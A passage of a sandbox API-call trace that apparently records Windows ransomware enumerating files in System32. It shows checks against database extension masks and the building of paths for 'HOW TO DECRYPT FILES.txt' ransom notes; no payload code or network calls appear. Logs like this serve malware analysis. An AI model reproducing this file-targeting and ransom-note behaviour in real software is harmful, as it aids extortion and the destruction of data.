lstrlenA (lpString="*.edb") returned 5 [0144.749] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.accdb") returned 0 [0144.749] lstrlenA (lpString="*.accdb") returned 7 [0144.749] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a43dbb1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a43dbb1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a43dbb1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Display.dll", cAlternateFileName="")) returned 1 [0144.750] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.750] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Display.dll") returned 1 [0144.750] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Display.dll") returned 1 [0144.750] lstrcmpiA (lpString1="", lpString2="Display.dll") returned -1 [0144.750] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dispex.dll") returned="dispex.dll" [0144.750] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.750] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.750] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.750] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.750] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="Display.dll" | out: lpString1="C:\\Windows\\System32\\Display.dll") returned="C:\\Windows\\System32\\Display.dll" [0144.751] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bc86632, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2bc86632, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x69072160, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0144.751] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.751] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DisplaySwitch.exe") returned 1 [0144.751] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DisplaySwitch.exe") returned 1 [0144.751] lstrcmpiA (lpString1="", lpString2="DisplaySwitch.exe") returned -1 [0144.751] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Display.dll") returned="Display.dll" [0144.751] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.751] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.751] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.751] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.751] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="DisplaySwitch.exe" | out: lpString1="C:\\Windows\\System32\\DisplaySwitch.exe") returned="C:\\Windows\\System32\\DisplaySwitch.exe" [0144.752] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6f165a3, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc6f165a3, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x691ca530, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0144.752] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.752] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dllhost.exe") returned 1 [0144.752] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dllhost.exe") returned 1 [0144.752] lstrcmpiA (lpString1="", lpString2="dllhost.exe") returned -1 [0144.752] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DisplaySwitch.exe") returned="DisplaySwitch.exe" [0144.752] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.752] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.752] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.752] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.752] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dllhost.exe" | out: lpString1="C:\\Windows\\System32\\dllhost.exe") returned="C:\\Windows\\System32\\dllhost.exe" [0144.753] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7177b93, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc7177b93, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x691eef20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0144.753] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.753] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dllhst3g.exe") returned 1 [0144.753] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dllhst3g.exe") returned 1 [0144.753] lstrcmpiA (lpString1="", lpString2="dllhst3g.exe") returned -1 [0144.753] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dllhost.exe") returned="dllhost.exe" [0144.753] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.753] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.753] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.753] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.753] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dllhst3g.exe" | out: lpString1="C:\\Windows\\System32\\dllhst3g.exe") returned="C:\\Windows\\System32\\dllhst3g.exe" [0144.753] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76963b81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x76963b81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x894893a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmband.dll", cAlternateFileName="")) returned 1 [0144.753] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.753] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmband.dll") returned 1 [0144.754] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmband.dll") returned 1 [0144.754] lstrcmpiA (lpString1="", lpString2="dmband.dll") returned -1 [0144.754] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dllhst3g.exe") returned="dllhst3g.exe" [0144.754] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.754] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.754] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.754] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.754] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmband.dll" | out: lpString1="C:\\Windows\\System32\\dmband.dll") returned="C:\\Windows\\System32\\dmband.dll" [0144.754] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x769d5f9e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x769d5f9e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x894b04a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmcompos.dll", cAlternateFileName="")) returned 1 [0144.754] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.754] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmcompos.dll") returned 1 [0144.755] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmcompos.dll") returned 1 [0144.755] lstrcmpiA (lpString1="", lpString2="dmcompos.dll") returned -1 [0144.755] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmband.dll") returned="dmband.dll" [0144.755] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.755] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.755] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.755] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.755] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmcompos.dll" | out: lpString1="C:\\Windows\\System32\\dmcompos.dll") returned="C:\\Windows\\System32\\dmcompos.dll" [0144.756] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf27a5a3d, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf27a5a3d, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x894b04a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmdlgs.dll", cAlternateFileName="")) returned 1 [0144.756] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.756] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmdlgs.dll") returned 1 [0144.756] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmdlgs.dll") returned 1 [0144.756] lstrcmpiA (lpString1="", lpString2="dmdlgs.dll") returned -1 [0144.756] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmcompos.dll") returned="dmcompos.dll" [0144.756] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.756] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.756] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.756] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.756] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmdlgs.dll" | out: lpString1="C:\\Windows\\System32\\dmdlgs.dll") returned="C:\\Windows\\System32\\dmdlgs.dll" [0144.757] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6fcd338, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf6fcd338, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x894b04a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmdskmgr.dll", cAlternateFileName="")) returned 1 [0144.757] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.757] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmdskmgr.dll") returned 1 [0144.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmdskmgr.dll") returned 1 [0144.757] lstrcmpiA (lpString1="", lpString2="dmdskmgr.dll") returned -1 [0144.757] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmdlgs.dll") returned="dmdlgs.dll" [0144.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.757] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.757] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.757] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.757] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmdskmgr.dll" | out: lpString1="C:\\Windows\\System32\\dmdskmgr.dll") returned="C:\\Windows\\System32\\dmdskmgr.dll" [0144.757] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cb8212, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf0cb8212, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x174251c0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x5ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmdskres.dll", cAlternateFileName="")) returned 1 [0144.758] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.758] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmdskres.dll") returned 1 [0144.758] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmdskres.dll") returned 1 [0144.758] lstrcmpiA (lpString1="", lpString2="dmdskres.dll") returned -1 [0144.758] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmdskmgr.dll") returned="dmdskmgr.dll" [0144.758] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.758] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.758] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.758] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.758] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmdskres.dll" | out: lpString1="C:\\Windows\\System32\\dmdskres.dll") returned="C:\\Windows\\System32\\dmdskres.dll" [0144.758] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf07a9374, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf07a9374, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x1744c2c0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmdskres2.dll", cAlternateFileName="")) returned 1 [0144.758] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.758] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmdskres2.dll") returned 1 [0144.758] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmdskres2.dll") returned 1 [0144.758] lstrcmpiA (lpString1="", lpString2="dmdskres2.dll") returned -1 [0144.759] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmdskres.dll") returned="dmdskres.dll" [0144.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.759] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.759] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.759] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.759] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmdskres2.dll" | out: lpString1="C:\\Windows\\System32\\dmdskres2.dll") returned="C:\\Windows\\System32\\dmdskres2.dll" [0144.759] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7735b75e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7735b75e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x894b04a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmime.dll", cAlternateFileName="")) returned 1 [0144.759] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.759] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmime.dll") returned 1 [0144.759] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmime.dll") returned 1 [0144.759] lstrcmpiA (lpString1="", lpString2="dmime.dll") returned -1 [0144.759] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmdskres2.dll") returned="dmdskres2.dll" [0144.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.759] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.760] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.760] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.760] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmime.dll" | out: lpString1="C:\\Windows\\System32\\dmime.dll") returned="C:\\Windows\\System32\\dmime.dll" [0144.760] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1471b6, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xee1471b6, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x894d4e90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmintf.dll", cAlternateFileName="")) returned 1 [0144.760] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.760] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmintf.dll") returned 1 [0144.760] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmintf.dll") returned 1 [0144.760] lstrcmpiA (lpString1="", lpString2="dmintf.dll") returned -1 [0144.760] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmime.dll") returned="dmime.dll" [0144.760] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.760] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.760] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.760] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.761] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmintf.dll" | out: lpString1="C:\\Windows\\System32\\dmintf.dll") returned="C:\\Windows\\System32\\dmintf.dll" [0144.761] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7714642c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7714642c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x89547a80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmloader.dll", cAlternateFileName="")) returned 1 [0144.761] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.761] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmloader.dll") returned 1 [0144.761] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmloader.dll") returned 1 [0144.761] lstrcmpiA (lpString1="", lpString2="dmloader.dll") returned -1 [0144.761] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmintf.dll") returned="dmintf.dll" [0144.761] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.761] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.761] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.761] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.761] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmloader.dll" | out: lpString1="C:\\Windows\\System32\\dmloader.dll") returned="C:\\Windows\\System32\\dmloader.dll" [0144.762] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17bb294, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xf17bb294, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x89547a80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmocx.dll", cAlternateFileName="")) returned 1 [0144.762] 